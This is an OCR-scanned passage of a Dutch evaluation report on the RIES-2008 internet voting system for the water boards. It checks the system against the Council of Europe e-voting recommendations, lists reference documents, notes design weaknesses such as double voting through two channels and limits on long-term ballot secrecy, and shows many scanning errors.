RIES-z008 Design Information RI ES_d e si g n_i nfo-v O92. pdf Geeft een globaal overzicht
van het ontwerp van RIES-

(38)
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2008
Het Waterschapshuis
(Jordy Schreurs)

27-O4-
2008

Admin istratieve O rga nisatie
Waterscha psverkiezingen 2008

0. Algemeen.pdf
1. Voorbereiding stemming.pdf
2. Stemming.pdf
3. Stemopneming.pdf
4. Vaststellíng uitslag. pdf
TiteloaoÍna.odf

(s8)

TNT Post Vormgeven van postzendingen Bijlage 8.11.2 - Vormgeven van
Dostzendinqen oktober 2006. pdf

(se)

Pieter G. MaclaÍne Pont,
Simon Bouwman

12-10-
2003

Evaluation Request for RIES, the
Internet ElectÍon System to be used
by the Water Board Rijnland
(hooqheemraadschap van Rijnland)

evaluation_req uest_-
20031006.pdf

(60)

MullPon (Pieter G.
Maclaine Pont)

4-03-
2008

Design Information for Evaluation
purposes about RIES, the Internet
Election System to be used by Het
Waterschaoshuis

RI ES_desi g n_i nfo_v 092_-
20080310[1]. pdf

Design informatie voor
RIES-2008

(s0)

Het Waterschaoshuis Chanqe Manaqement Chanqe Manaqement v2.doc (61)

06-
2008

Implementatie RI ES-2008 server-
en netwerkinfrastructuu r

Implementatie RIES
infrastru ctuu r. doc

(62)

SURFnet 25-06-
2008

RIES-2008 infra ries-200 8-infra -v0-4. pn g Een overzÍcht van de
qeplande i nfrastru ctuu r

(63)

12-06-
2008

RIES hardware overzicht RI ES_h a rd wa re-overzicht_-
20080612.x1s

Een overzicht van de
qebruikte hardware

(64)
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Appendix B Detailanalyse aanbevelingen Raad van Europa

l. Juridische standaarden
A, Uitoanosounten íPrincioes)
I. Alqemeen stemrecht
1. De gebruikersÍnterface van een elektronisch stemsysteem
moet begrijpelijk en eenvoudig te gebruíken zijn.

Toelichtíng: Hoewel niet één stemsysteem begrijpelijk en
bedienbaar zal zijn voor iedere kiezer, moeten de lidstaten ervoor
zorgen dat de gebruikersinterface door zo veel mogelÍjk kiezers
gebruÍkt kan worden.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. In
(17) worden een aantal verbeterpunten genoemd dÍe de
toegankelÍjkheid en bedienÍngsgemak van de interface van
het stemsysteem kunnen verbeteren. Dit rappott betreft
echter een prototype van een oude versie van het
systeem. Het ontbreekt aan documenten waaruit blijkt dat
dit getest of geëvalueerd ís voor de huidÍge versie. Zie ook
opmerkÍnqen bíi aanbevelinq 3, 20,6t en 63.

Z. Eventuele registratievereisten voor een elektronÍsch
stemsysteem zullen geen belemmering vormen voor de kÍezer die
deelneemt aan het elektronísche stemsysteem.

Toelichtingr Kíezers mogen niet worden uítgesloten om een
elektronisch stemsysteem te gebruíken door een ingewikkelde
req istratiep roced u re.

Niet van
toepassing

Geen commentaar

3. Elektronische stemsystemen zullen voor zover mogelijk
zodanig ontworpen worden dat ze het aantal mogelijkheden díe
zulke systemen voor personen met een beperking kunnen bieden
maximaliseren.

ToelÍchtÍng: Elektronische stemsystemen moeten voor zover
praktisch toepasbaar en eventueel in combinatie met andere
methoden om te stemmen, toegankelijk zijn voor zoveel mogelijk
kiezers. Elektronische stemsystemen moeten zo ontworpen zijn,
dat de mogelijkheden voor kiezers met een handÍcap om van
derqelijke systemen qebruik te maken qemaximaliseerd worden.

Onbepaald
AfhankelÍjk van
imolementatíe

Dit hangt sterk af van de uíteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dÍt getest of
geëvalueerd is voor de huidige versie. Bijvoorbeeld of deze
voldoet aan de richtlijnen van de Web Accessibility
InÍtÍative (WIA). Zie ook opmerkingen bij aanbeveliog 1,
20, 6t en 63.

4. Zolang de kanalen waarlangs elektronisch op afstand
gestemd kan worden niet voor iedereen toegankelijk zijn, zullen
die kanalen alleen maar een bijkomende en optionele manier om
te stemmen ziin.

Voldoet Geen commentaar.
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II. Geliik stemrecht
5. Bij elke verkiezing of referendum moet er voor gezorgd
worden dat een kiezer niet meer dan eén stembiljet in de
elektronische stembus kan deponeren. Een kiezer zal alleen
toegang tot de stemming krijgen als men vastgesteld heeft dat
zíjn stembiljet nog niet in de stembus gedeponeerd werd.

Toelichting: Het gehele verkiezingsproces dient te voorkomen dat
meerdere stemmen kunnen worden uitgebracht door één
persoon.

Conceptueel
Bij het gebruik van het RIES-2008 systeem is het mogelijk
voor een kiezer om meerdere malen toegang tot de
stemming te krijgen en meerdere malen elektronisch zÍjn
stem uit te kunnen brengen. In de RIES documentatie (37)
wordt dat dan ook níet uitgesloten (bijvoorbeeld pag. 136
en 141).
Er is dan ook een situatie denkbaar waarin dit mogelijk is,
namelijk in het geval waarbij de stem maar in één van de
stemseryers wordt opgeslagen. De kiezer zal dan geen
bevestiging ontvangen en lijkt het voor de kiezer dat zijn
stem niet is uitgebracht, De kiezer kan veruolgens opnieuw
toegang tot de stembus krijgen en opnieuw zijn stem
uitbrengen. Wanneer de verkiezing is afgesloten en de
stemmen worden geteld wordt de eerste stem, waarvan
geen bevestiging is ontvangen, wel meegeteld (38). Alleen
wanneer hetzelfde wordt gestemd blijft de stem geldig.
Wanneer de stem afwijkt van de eerste keuze wordt de
stem ongeldig gemaakt.
De hier gestelde aanbeveling met ínachtneming van de
opmerkingen in "Explanatory memorandum" (3) heeft als
uitwerking dat er per persoon niet meer dan één stem,
maar ook niet minder dan één stem uitgebracht kan
worden. Met het RIES-2008 systeem kan een kiezer zijn
stem ongeldig maken zonder dat deze daar weet van heeft
en er wordt derhalve niet voldaan aan deze aanbevelinq.

6. Een elektronísch stemsysteem moet verhinderen dat een
kiezer zijn stem via meer dan een stemkanaal kan uitbrengen.

Toelíchting: Het gehele verkiezingsproces dient te voorkomen dat
één persoon via verschillende methoden van stemmen, meerdere
stemmen kan uitbrengen.

Conceptueel
BÍj de voorgestelde methode zijn er twee stemkanalen
voor een kiezer om zijn stem uit te kunnen brengen. Dit
kan via internet en via de post of fysíeke stembus. Echter
wanneer een van beide kanalen wordt gebruikt wordt de
andere niet geblokkeerd. Er kunnen twee geldíge stemmen
worden uitgebracht. Bij het afsluiten van de verkiezingen
worden beide stemmen gecombineerd tot een geldige stem
(wanneer deze gelijk zijn) of een ongeldige stem (wanneer
ze ongelijk zijn).
De hier gestelde aanbeveling met ínachtneming van de
opmerkingen in "Explanatory memorandum" (3) heeft als
uítwerking dat er per persoon niet meer dan één stem,
maar ook niet minder dan één stem uitgebracht kan
worden. Met het RIES-2008 systeem kan een stemmer zijn
stem ongeldig maken zonder dat deze daar weet van heeft
en er wordt derhalve niet voldaan aan deze aanbeveling.
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7. Elke stem die in een elektronische stembus gedeponeerd
wordt moet geteld worden, en elke stem die bij de verkiezing of
het referendum uitgebracht werd mag slechts eenmaal geteld
worden.

ToelÍchting: Het is belangrijk dat aíle uitgebrachte stemmen,
onqeachte de wÍize van stemmen, eenmaliq worden qeteld.

Voldoet Geen opmerkingen.

8. Wanneer er zowel elektronisch als niet-elektronÍsch gestemd
kan worden in dezelfde verkiezing of hetzelfde referendum, dan
moet er een veilige en betrouwbare manier bestaan om alle
stemmen oo te tellen en om het correcte resultaat te berekenen.

Voldoet Geen opmerkingen.

III. Vriie uitoefening van het stemrecht
9. Het elektronÍsche stemsysteem moet zo georganíseerd
worden dat de vrije meníngsvorming en -uiting van de kiezer, en,
indien vereist, de persoonlijke uitoefening van het stemrecht
{evrijwaard blijven,

Toelichting: Het is een persoonl'rjk recht om te stemmen en om
hierbij in vríjheid de keuze te bepalen. Stemmen per volmacht
wordt echter toeqestaan.

Voldoet Geen opmerkingen.

10. De manier waarop de kiezer door het elektronische
stemproces geleid wordt moet zodanig zijn dat hij niet gehaast of
zonder nadenken zijn stem uÍtbrengt.

Toelichting: De kiezer dient genoeg tijd te krijgen om zljnlhaar
keuze te bepalen en de stem uit te brenqen.

Voldoet
AfhankelÍjk van
implementatie

Geen opmerkingen.

11. De kiezer moet in elke fase van het elektronische stemproces
de mogelijkheid hebben om zijn stem te wijzigen of om de
stemprocedure af te breken, zonder dat al gemaakte keuzes
opgeslagen of aan andere personen beschikbaar gemaakt worden.

ïoelichting: Alleen de kiezer mag toegang hebben tot de stem,
zowel op het stemsysteem als tijdens de opslag naar de
elektronische stembus (stemgeheugen). Het elektronische
stemsysteem mag geen informatie opslaan over de (uitgebrachte)
stem of hoe deze stem íkeuze) tot stand Ís qekomen.

Afhankelijk van
implementatie

DÍt hangt sterk af van de uiteindelijke Ímplementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd Ís of structureel wordt getest voor de huídÍge
versie. Uít een van de testen uit het aanvullend onderzoek
is gebleken dat hÍeraan niet is voldaan in de testomgeving
(bevinding 4.6).
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L2. Het elektronische stemsysteem mag niet toelaten dat er
welke manipulerende invloed ook uitgeoefend wordt op de kiezer
gedurende de stemming.

ToelichtÍng: Het elektronische stemsysteem moet zo zijn
ontworpen en worden gebruikt, dat is gegarandeerd dat alle
vormen van beïnvloeding van de kiezer onmogelijk zijn.
Bijvoorbeeld geluiden geassocieerd met een bepaalde kandidaat,
uitlaten springen van een kandidaat op het kiezerspaneel of extra
mededelinqen (pop-up vensters) moeten worden voorkomen.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd is of structureel wordt getest voor de huidige
versre.

13. Het elektronische stemsysteem moet de kiezer toelaten om
deel te nemen aan een verkiezing of referendum zonder dat de
kiezer daarbij een voorkeur moet uitdrukken voor een van de
voorziene stemopties, bijvoorbeeld door het uitbrengen van een
blanco stem,

Toelichting: Iedere lidstaat is vrij om te bepalen of elektronische
stemsystemen ook geschikt moet zijn om een blanco stem uit te
brenqen.

implementatie
Afhankelijk

Waneer er een blanco stem wordt geselecteerd dan lijkt
het voor een stemmer in eerste Ínstantie dat deze een fout
heeft gemaakt en alsnog een politieke groepering moet
kiezen LQ7), blz66, figuur 371. Zie ook de opmerkÍng bÍj
aanbeveling 98.

L4. Het elektronische stemsysteem moet aan de kiezer duidelíjk
aangeven wanneer zijn stem succesvol uitgebracht werd en
wanneer de hele stemprocedure voltooid is.

Toelichting: Het stemmen is pas compleet afgerond wanneer de
elektronische stem is opgeslagen in de elektronische stembus
(stemgeheugen). De kiezer moet weten dat de stem is
opgeslagen en zal worden geteld en dat hij/zij klaar is met de
orocedure.

Voldoet
conceptueel

Geen opmerkingen.

15. Het elektronische stemsysteem moet verhinderen dat een
stem nog veranderd wordt als ze eenmaal is uitgebracht.

Toelichting: Het elektronische stemsysteem moet voorkomen dat
een uitgebrachte en opgeslagen stem in de elektronische stembus
(stemqeheuqen) kan worden qewijziqd.

Voldoet
conceptueel

Het is mogelijk een stem ongeldig te maken dit gebeuft
echter niet door het systeem zelf. Zie ook opmerkingen bij
aanbeveling 5 en 6.
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IV. Geheim van de stemminq
16. Het elektronische stemsysteem moet zodanÍg georganiseerd
worden dat op elk ogenblik van de stemprocedure, en in het
bijzonder bij de authentisering van de kiezer, alle
omstandigheden die het stemgeheim Ín gevaar brengen
uitgesloten zijn.

Toelichtíng: Geheimhouding van de stem moet worden
bewerkstelligd in het gehele verkiezingsproces vanaf de
voorbereidingen (bijvoorbeeld bij het versturen van,
elektronische, stembescheÍden), het stemmen, het tellen, het
verzenden/transporteren naar het hoofdstembureau, de
uÍtslaqberekeninq en bii een eventuele hertellinq.

Voldoet
conceptueel
Onbepaald
Afhankelijk van
implementatie
Best effort

Helemaal uitsluiten is theoretisch onmogelijk. Er zijn
diverse beveÍligÍngsmaatregelen (technisch en
procedureel) genomen die deze dreiging moeten uitsluiten.
Het ontbreekt aan documenten waaruit blijkt dat dit getest
of geëvalueerd is of structureel wordt getest voor de
huidige versie. Bijvoorbeeld door een uítgebreide
risicoanalyse.

L7. Door het elektronische stemsysteem moet gegarandeerd
worden dat de stemmen in de elektronische stembus en al
getelde stemmen anoniem zijn en blijven, en dat er geen verband
gelegd kan worden tussen de kiezer en de uitgebrachte stem.

Toelíchting: Het mag nooit mogelíjk zijn om de inhoud van de
stem te reconstrueren en te herleiden naar een bepaalde kiezer.
Bij het elektronÍsch stemmen moet extra aandacht worden
besteed aan een scheiding tussen identíficatie van de kiezer en
het uitbrengen van de stem. Hoe de stem (keuze) tot stand is
qekomen moet bovendien qeheim blíjven.

ConceptueeI
De gebruikte crypografische methode blijft niet altijd
onkraakbaar. Omdat de uitslag wordt gepublÍceerd is er
een moment (in de toekomst) waarbij de uitgebrachte
stem is te herleÍden naar een bepaalde kiezer (zie ook
bevÍnding 5.1). De privacy van de kÍezer wordt ín dit geval
niet voor altÍjd gewaarborgd zoals in deze aanbeveling
wordt geëíst. Zie ook aanbeveling 78.

18. Het elektronische stemsysteem moet zo ontworpen zíjn dat
er aan de hand van het verwachte aantal stemmen in een
elektronische stembus geen verband gelegd kan worden tussen
het resultaat en individuele kiezers.

Voldoet
Conceptueel

Geen opmerkingen.

19. Er moet voor gezorgd worden dat de informatÍe díe nodíg is
tijdens de elektronische verwerking niet gebruikt kan worden om
het stemgeheim te schenden.

ïoelichting: Mogelijke maatregelen zouden kunnen bestaan uit
een willekeurige vastlegging van de uÍtgebrachte stem in de
elektronische stembus waarbij de volgorde waarin zij
binnenkomen niet kan worden gereconstrueerd uit de wijze
waaroo zii worden opqeslaqen.

Voldoet
Conceptueel
Onbepaald
Imolementatíe

Volgens de opmerking van het Waterschapshuis bij
aanbeveling 54 wordt de volgorde van binnenkomst niet
vastgelegd. Of wordt voldaan aan deze aanbeveling hangt
sterk af van de Ímplementatie. Bijvoorbeeld of er logs op
het systeem of een van de systemen eromheen bestaan
waar connectÍes of IP adressen zijn te detecteren of
worden opgeslagen. Het ontbreekt aan documenten
waaruÍt blijkt dat dÍt getest of geëvalueerd ís voor de
huÍdiqe versíe.
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B. Procedurele voorzorqsmaatreqelen
I. Transparantie
20. Lidstaten moeten er voor zorgen dat de kiezers het gebruikte
elektronische stemsysteem begrijpen en er vertrouwen in hebben.

Toelichting: Vertrouwen in het verkiezingsproces is essentieel en
een volledig begríp van het elektronische stemsysteem is hierbij
de basis. Introductie van het elektronÍsche stemsysteem kan
noodzakelijk zÍjn terwijl het verschaffen van zo veel mogelÍjk
informatie kan bijdragen aan het verkrijgen van het vertrouwen
van de kiezers en kandidaten.

Onbepaald
Niet technisch

Er wordt verwezen naar een usability onderzoek en naar
ervaringen van gebruikers m.b.t. de begrijpelijkheid en
vertrouwen in het systeem bij vorige gebruik. Het
ontbreekt aan documenten waaruit dit blijkt voor de
huidige versie. Zie ook opmerkingen bij aanbeveling 1, 3

en 63.

21. Informatie over de werking van het elektronische
stemsysteem wordt publiek beschikbaar qemaakt.

Voldoet
Niet technísch

Geen opmerkingen.

22. De kiezers krijgen de mogelijkheid om elke nieuwe vorm van
elektronische stemmen uit te proberen vóór en los van de
eigenlijke stemming.

Toelichting: Om vertrouwen in en begrip van het elektronische
stemsysteem te creëren, kunnen mogelijkheden worden geboden
om stemmachines uit te proberen voorafgaande, en los van, de
eigenlijke stemming. Speciale aandacht dient uít te gaan naar
kiezers die onvoldoende veftrouwd zijn met elektronische
svstemen. zoals ouderen.

Onbepaald
Niet technisch

Het ontbreekt aan documenten waaruit blijkt dat dit
voorafgaande en los van de eigenlijke stemming voor
iedereen uit te proberen is.

23. Iedere waarnemer zal binnen de wettelijke grenzen in de
mogelijkheid zÍjn om aanwezig te zijn bij en commentaar te
leveren op de elektronísche verkiezingen, inbegrepen het bepalen
van het resultaat.

Toelichting: Waarnemers moeten Ín staat worden gesteld om vast
te stellen dat het elektronische stemsysteem is ontworpen en
functioneeft op een wijze die voldoet aan de democratische
principes. Lidstaten dienen daarom een juridische basís te bieden
voor de status van waarnemers en de toegang tot
systeemdocumentatie en audit informatie. Waarnemers moet de
mogelijkheid geboden worden om relevante programmatuur te
bekijken, fysieke en elektronische beveilÍgÍngsmaatregelen te
inspecteren, gecertificeerde apparatuur te testen en toegang te
krijgen tot centrale voorzieningen zoals computersystemen
(servers).

Voldoet
Niet technisch

Geen opmerkingen.
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II. Verifieerbaarheid en auditeerbaarheid
24. De onderdelen van het elektronische stemsysteem zullen
minstens aan de verantwoordelíjke verkiezingsautoriteiten
bekendgemaakt worden zoals vereist voor verificatie- en
certificatie doelei nden.

ToelichtÍng: Het is essentieel dat wordt vastgesteld of het
elektronische stemsysteem correct functioneert en dat de
beveilÍging is gewaarborgd. Dit kan onder meer plaatsvinden door
een onafhankelijke evaluatie of certificatie van het stemsysteem,
inzage ín kritische systeem elementen en documentatie, inspectie
van proqrammatuur en Denetratietesten.

Voldoet
Niet technisch

Geen opmerkingen.

25. Voor de invoering van een elektronisch stemsysteem, en
opgepaste tijdstippen daarna, en in het bijzonder na elke
rvijziging van het systeem zal een onafhankelíjke instantie,
àangewezen door de verkiezÍngsautoriteiten, nagaan dat het
elektronische stemsysteem correct werkt en dat alle
n oodzakel iike veil iqheidsm aatreqelenqetroffen werden.

Voldoet
Niet technisch

Geen opmerkíngen.

26. De mogelijkheid om de stemmen te hertellen moet bestaan.
Andere eigenschappen van het elektronische stemsysteem die de
correctheid van het resultaat kunnen beïnvloeden moeten
verifieerbaar zijn.
Toelíchting: Een hertelling moet eerder vastgestelde uitslagen
kunnen verifiëren. Bovendien moet kunnen worden bevestigd dat
het elektronÍsche stemsysteem juist functioneert en dat alle
stemmen zijn geteld. Bijelektronisch stemmen zijn diverse optíes
mogelÍjk die verschillen in complexiteit en verantwoordingsniveau.
Zo kan een stemmachine de telling nogmaals uitvoeren of het
stemgeheugen kan worden geplaatst in een andere stemmachine
die de hertelling uitvoert. Daarnaast kan een hertellÍng worden
uitgevoerd door een geheelander systeem, bijvoorbeeld door
onafhankelijke en gecontroleerde uitslag
berekeningsprogrammatuur. Een andere methode is om naast de
elektronische stembus (stemgeheugen) een papieren
vastlegging(paper trail) van de uitgebrachte stemmen te hanteren
en deze te qebruiken voor een hertellino.

Voldoet
Conceptueel

Geen opmerkingen.
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27. Door het elektronisch stemsysteem mag een gedeeltelijke of
volledige herhaling van de verkiezing of referendum niet
verhinderd worden.

Toelichting: Als een herstemming nodÍg is. kan het noodzakelijk
zijn dat (delen van) het originele elektronische stemsysteem
hierbij nodig is,bijvoorbeeld bij het opnieuw bepalen van de
kíesqerechtíqheíd en het qebruík van stemmachines.

Voldoet
Conceptueel

Geen opmerkingen.

III. Betrouwbaarheid en beveiliqinq
28. De overheden van de lidstaat zorgen voor de
betrouwbaarheid en de veÍligheid van het elektronisch
stemsysteem,
Toelichting: Elektronische stemsystemen dienen net zo
betrouwbaar en beveilígd te zijn als traditionele stemmethodes,
wat door de lidstaat moet kunnen worden qewaarborqd.

Voldoet
Niet technisch

Geen opmerkingen.

29. Gedurende het hele stemproces moeten alle mogelíjke
maatregelen genomen worden om de mogelijkheid van fraude of
ongeoorloofde beïnvloeding van het systeem te vermijden.

Toelichting: In het gehele elektronische verkiezingsproces moet
actief worden gereageerd als afbreuk van de Íntegriteit van het
stemmen of de stemsystemen wordt vermoed. Het is niet de
intentie van deze aanbeveling om te suggereren dat alle denkbare
maatregelengenomen moeten worden, maar wel om deze te
baseren oD een afoewooen besluitvormÍnq.

Voldoet
Niet technisch

Geen opmerkingen.

30. Het elektronisch stemsysteem moet mechanismen bevatten
die de beschikbaarheíd van zijn diensten gedurende het
elektronisch stemproces waarborgen. Het systeem moet vooral
bestendÍg zijn tegen storingen, uitvallen en denial-of-service
aanvallen.

Toelichting: Een elektronisch stemsysteem moet robuust zijn en
beschermd zijn tegen technische storingen, hoewel het falen van
comDonenten nooit oeheel kan worden uitqesloten.

Voldoet
Niet technisch

Geen opmerkingen.

31. Voor iedere elektronísche verkiezing of referendum moet de
bevoegde verkiezingsautoriteit er zich van vergewissen dat het
elektronisch stemsysteem authentiek is en correct werkt.

Toelichting: De juiste werking van het elektronisch stemsysteem
moet worden geverifieerd. Bovendien moet kunnen worden
gegarandeerd dat het geverifieerde stemsysteem ook
daadwerkeliik qebruikt wordt bii de stemminq.

Voldoet
Conceptueel
Niet technisch

Geen opmerkingen.
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32. Alleen personen aangeduid door de verkiezingsautoriteit
mogen toegang hebben tot de centrale infrastructuur, de servers
en de verkiezingsdata. Voor hun benoeming moeten eenduídige
regels bestaan. Kritieke technische activiteiten moeten uitgevoerd
worden door teams die uit mínstens twee personen bestaan. De
samenstellÍng van deze teams wordt geregeld veranderd. Voor
zover mogelijk zullen deze activÍteiten buiten de
verkiezÍnqsoerioden uitqevoerd worden.

Voldoet
Conceptueel
NÍet technisch

Geen opmerkÍngen.

33, Zolang een elektronische stembus open is moet elke
geauthoriseerde tussenkomst met impact op het systeem
uitgevoerd worden door teams van minstens twee personen,
gedocumenteerd worden door een rapport, en onder toezícht
staan van vertegenwoordigers van de verantwoordelijke
verkiezí nqsautoriteÍte n a | | e a n dere verkiezinqswa a rnemers.

Voldoet
Conceptueel
Niet technisch

Geen opmerkíngen.

34. Het elektronisch stemsysteem moet de beschikbaarheid en
de integriteit van de stemmen waarborgen. Het systeem moet
ook de veftrouwelijkheid van de stemmen waarborgen, en er voor
zorgen dat de stemmen verzegeld blijven tot aan het telproces.
Als de stemmen buiten gecontroleerde omgevíngen opgeslagen of
verstuurd worden, dan moeten de stemmen vercijferd zijn.

Toelichting: Vanaf het moment dat een stem wordt uÍtgebracht
mag níemand instaat zijn om de stem te lezen, aan te passen of
te relateren aan de desbetreffende kiezer. Dit kan worden bereikt
door de(elektronische) stembus (fysiek en elektronisch) te
verzegelen endoor aanvullende fysieke en organisatorísche
maatregelen. Daarnaast kan het nodig zijn dat een logísche
controle (authenticatie en autorisatie) voor toegang tot de
elektronÍsche stembus(stemgeheugen) wordt uitgevoerd.
Encryptie en een elektronische verzegeling van de stem zijn
minimaal noodzakelijk wanneer de stem wordt verzonden buiten
qecontroleerde omqevinqen.

Voldoet
Conceptueel
Afhankelijk van
implementatie

Geen opmerkingen.

35. De stemmen en de kiezergegevens moeten verzegeld blíjven
zolang de gegevens opgeslagen zijn op een manier dat ze met
elkaar in verband gebracht kunnen worden.
AuthentiseringsÍnformatie moet gescheiden worden van de keuze
vande kiezer in een vooraf vastgelegde fase van de elektronische
verkiezÍnq of het elektronisch referendum.

Voldoet
Conceptueel
Afhankelijk van
implementatíe

Geen opmerkíngen.
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2, Appendix II - Operationele standaarden
I. Oproep voor de stemminq
36. Nationale wetsbepalingen die van toepassing zijn op een
elektronÍsche verkiezing of referendum moeten voorzien in een
eenduídig draaiboek voor alle fasen van de verkiezing of het
referendum, inbegrepen de fasen voor en na de verkiezing of het
referendum.

Toelichting: Een elektronische stemming kan mogelijk afwijken
van traditionele verkiezingsmethoden of andere tíjdsschema's
worden gevolgd. Kiezers moeten in dat geval hierover worden
qeïnformeerd.

Voldoet
Conceptueel
N iet technisch

Geen opmerkingen.

37. De periode waarin een elektronische stem uitgebracht kan
worden mag niet beginnen voor de bekendmaking van de
verkiezing of het referendum. In het bijzonder bij elektronisch
stemmen op afstand moet de periode ruím voor het begin van de
stemming gedefinieerd en bekendgemaakt worden aan het
publiek.

ïoelichting: De tijden dat kan worden gestemd moeten duidelijk
worden qecommun iceerd.

Voldoet
Conceptueel
Niet technisch

Geen opmerkingen.

38. Kiezers moeten ruim voor het begin van de stemming in
duidelíjke en eenvoudige taal ingelicht worden over de manier
waarop de elektronisch stemming georganiseerd zal worden en
over alle stappen dÍe een kiezer dient te ondernemen om aan de
stemminq deel te nemen.

Onbepaald
AfhankelÍjk van
implementatie
Niet technisch

Er zijn voldoende procedures om de kiezers op de hoogte
te brengen over de procedures, Het ontbreekt echter aan
documenten waaruit blíjkt dat dit getest of geëvalueerd of
deze afdoende en/of duidelijk genoeg zr;n.

II. Kiezers
39. Er is een kiezerslijst die regelmatig geactualiseerd wordt. De
kiezer zal minstens de informatie die over hem op de kiezerslijst
wordt bijgehouden kunnen nagaan en zal correcties kunnen
vraoen.

Voldoet
Conceptueel
Niet technisch

Geen opmerkingen.

40. De mogelijkheid om een elektronisch regíster aan te
leggenen om een mechanisme in te voeren voor een online-
aanvraag tot kiezersregistratie en, indien van toepassing, een
aanvraag tot gebruik van elektronÍsch stemmen zal overwogen
worden. Als deelneming aan elektronisch stemmen een apafte
aanvraag door de kiezer en/of bijkomende stappen vereist, dan
zal een elektronisch een, waar mogelijk, een interactíeve
orocedu re overwoqen worden.

Niet van
toepassing
Niet technisch

Geen opmerkingen.

41. In gevallen waarin de periodes voor kiezersregistratie en de
stemperiode overlappen zal er voor gepaste kiezerauthentisering
qezorqd worden.

Niet van
toepassing
Niet technisch

Geen opmerkingen.
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III. Kandidaten
42. De invoering van de mogelÍjkheid om online-kandidaten te
nomineren kan overwogen worden.

Niet van
toepassing
NÍet technisch

Geen opmerkingen.

43. Een líjst van kandidaten dÍe elektronisch opgesteld en
beschikbaar gemaakt wordt zal ook op andere maníeren openbaar
beschikbaar ziin.

Voldoet
Conceptueel
Niet technisch

Geen opmerkÍngen.

IV. Stemminq
44. Als elektronisch stemmen op afstand mogelijk is tijdens de
opening van de kieslokalen, dan Ís het bijzonder belangrijk dat
het systeem zodanÍg ontworpen Ís dat een kiezer niet meer dan
een stem kan uitbrengen.

Conceptueel
Bij de voorgestelde methode zijn er twee stemkanalen
voor een kiezer om zijn stem uit te kunnen brengen
namelijk vÍa internet en vÍa de post of fysÍeke stembus.
Echter wanneer een van beide kanalen wordt gebruikt
wordt de andere nÍet geblokkeerd. Er kunnen twee geldige
stemmen worden uitgebracht. Bij het afsluiten van de
verkíezingen worden beide stemmen gecombineerd tot een
geldige stem (wanneer deze gelijk zijn) of een ongeldige
stem (wanneer ze ongelijk zijn). Zie ook de opmerking bij
aanbevelinq 6.

45. Het elektronisch stemmen op afstand mag voor het openen
van de kieslokalen beginnen enlof eindigen. Elektronisch
stemmen op afstand zal niet blijven doorlopen nadat de periode
voor het stemmen in de kieslokalen is afqelopen.

Voldoet
Conceptueel
Níet technisch

Geen opmerkingen.

46. Voor iedere mogelÍjkheld tot elektronisch stemmen moet
eruoor de kiezer ondersteuning en richtlijnen voorzÍen worden, en
deze moeten ter beschikking gesteld worden van de kiezer. In het
geval van elektronisch stemmen op afstand zullen ondersteuning
en rÍchtlijnen ook beschikbaar zijn via een ander, algemeen
beschikbaar commun icatiekanaal.

Toelichting: Ondersteuning en begeleÍding bij het stemproces
dÍenen ten minste beschíkbaar te zijn vanaf het te gebruiken
elektronÍschestem systeem. Daarnaast wordt geadvÍseerd om ten
minste één andere methode van ondersteuninq te bieden.

Voldoet
Conceptueel
Niet technisch

Geen opmerkingen.
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47. Alle stemopties moeten op gelijkwaardige wijze weergegeven
worden op het toestel dat gebruikt wordt om een elektronische
stem uit te brengen.

Toelichting: Alle kandidaten waarop kan worden gestemd moeten
op gelijke wijze worden gepresenteerd en beschikbaar zijn vía alle
methoden van stemmen. Hoewel het weergeven van kandidaten
een pure technische aangelegenheíd lijkt, mag dit niet worden
over gelatenaan alleen technische ontwerpers of leveranciers.
Indien kandidaten worden weergegeven via elektronische
middelen (bijvoorbeeld via een touchscreen) dan dienen
maatregelen te worden genomen die voorkomen dat kandídaten
niet of niet altiid worden qetoond.

Onbepaald
Afhankelijk van
impiementatie
Best effort

Het is theoretisch onmogelijk om voor alle sooften
schermafmetÍng dit te bewerkstelligen. Bij beperkte
afmetingen van het scherm is het onmogelíjk alle
kandidaten op een gelijke manier te presenteren. Echter
voor een aantal schermafmetingen kan dit vooraf getest
worden. In het "Explanatory memorandum" behorende bij
(3) worden een aantal schermen expliciet genoemd. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd is of wordt voor de huidige versíe van het
systeem.

48. Het elektronische stembiljet dat gebruikt wordt om een
elektronische stem uit te brengen bevat, naast de ínformatie die
strikt noodzakelijk is om een stem uit te brengen, geen informatie
over de stemopties. Men moet vermijden dat het elektronische
stemsysteem bijkomende boodschappen weergeeft die mogelijk
de keuze van de kiezer zouden kunnen beïnvloeden.

Toelichting: Tijdens het stemmen dient de directe omgeving van
de kiezer verschoond te blijven van objecten en informatie die
ziin/haar keuzekan beïnvloeden.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd ís of wordt voor de huidige versie van het
systeem.

49. Als men beslist om informatíe over stemkeuzes beschikbaar
te maken op de plaats waar elektronisch gestemd wordt, dan
moet deze informatie op gelijke wÍjze gepresenteerd worden.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. Het
ontbreekt aan documenten waaruit blÍjkt dat dit getest of
geëvalueerd ís of wordt voor de huídige versie van het
svsteem.

50. Voordat kiezers hun stem uitbrengen met behulp van een
systeem voor elektronisch stemmen op afstand, zullen zij er
uitdrukkelijk op gewezen worden dat het bij de elektronische
verkiezing of het elektronisch referendum waarin zij hun keuze
indienen om een echte verkíezing of referendum gaat. Bij proeven
zullen deelnemers er nadrukkelijk op gewezen worden dat ze níet
deelnemen aan een echte verkiezing of referendum. Als de
proevendoorlopen gedurende de verkiezingen zullen de
deelnemers tezelfdertijd ook uitgenodigd worden om hun stem uit
te brenqen via de daaruoor beschikbare stemkanalen.

Onbepaald
Afhankelijk van
implementatie

Dit hangt sterk af van de uiteindelijke implementatie. Het
ontbreekt aan documenten waaruit blijkt dat dit getest of
geëvalueerd is of wordt voor de huidige versie van het
systeem.
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51. Een systeem voor elektronisch stemmen op afstand mag niet
toelaten dat een kiezer in het bezit kan kunnen komen van een
bewijs van de inhoud van de uitgebrachte stem.

Afhankelijk van
implementatie
Best effort

In het stemsysteem ís voorzien dat de kÍezer een bewÍjs
van stemmíng kan ontvangen. Het is de bedoeling dat dit
elektronische ontvangstbewijs worden opgeslagen of
